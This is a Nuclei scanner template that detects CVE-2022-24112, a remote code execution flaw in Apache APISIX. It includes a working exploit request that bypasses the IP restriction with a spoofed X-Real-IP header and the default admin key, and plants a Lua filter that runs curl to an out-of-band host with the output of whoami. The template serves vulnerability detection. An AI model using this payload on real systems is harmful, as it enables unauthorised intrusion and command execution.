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id : CVE-2022-24112
info :
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name : Apache APISIX - Remote Code Execution
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author : Mr-xn
severity : critical
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description : A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
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remediation : Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`).
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reference :
- https://www.openwall.com/lists/oss-security/2022/02/11/3
- https://twitter.com/sirifu4k1/status/1496043663704858625
- https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
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- https://nvd.nist.gov/vuln/detail/CVE-2022-24112
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- http://www.openwall.com/lists/oss-security/2022/02/11/3
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2022-24112
cwe-id : CWE-290
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epss-score : 0.97223
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epss-percentile : 0.99769
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cpe : cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : apache
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product : apisix
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shodan-query : title:"Apache APISIX Dashboard"
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fofa-query : title="Apache APISIX Dashboard"
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tags : cve,cve2022,apache,rce,apisix,oast,kev,intrusive
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http :
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- raw :
- |
POST /apisix/batch-requests HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9
{
"headers" : {
"X-Real-IP" : "127.0.0.1" ,
"Content-Type" : "application/json"
},
"timeout" : 1500 ,
"pipeline" : [
{
"method" : "PUT" ,
"path" : "/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1" ,
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"body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}"
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}
]
}
- |
GET /api/{{randstr}} HTTP/1.1
Host : {{Hostname}}
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9
req-condition : true
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matchers-condition : and
matchers :
- type : word
part : body_1
words :
- '"reason":"OK"'
- '"status":200'
condition : and
- type : word
part : interactsh_protocol
words :
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- http
- type : status
status :
- 200
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extractors :
- type : regex
group : 1
regex :
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- GET \/([a-z-]+) HTTP
part : interactsh_request
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# digest: 490a0046304402201edfae220aed777fabadc78cb79c2c3fc28a4859dfb87ee2fd4aebb760cf3b360220215ad75c019b4d42ca480060295223a086b76c8474d1948622ff82535fd9b04e:922c64590222798bb761d5b6d8e72950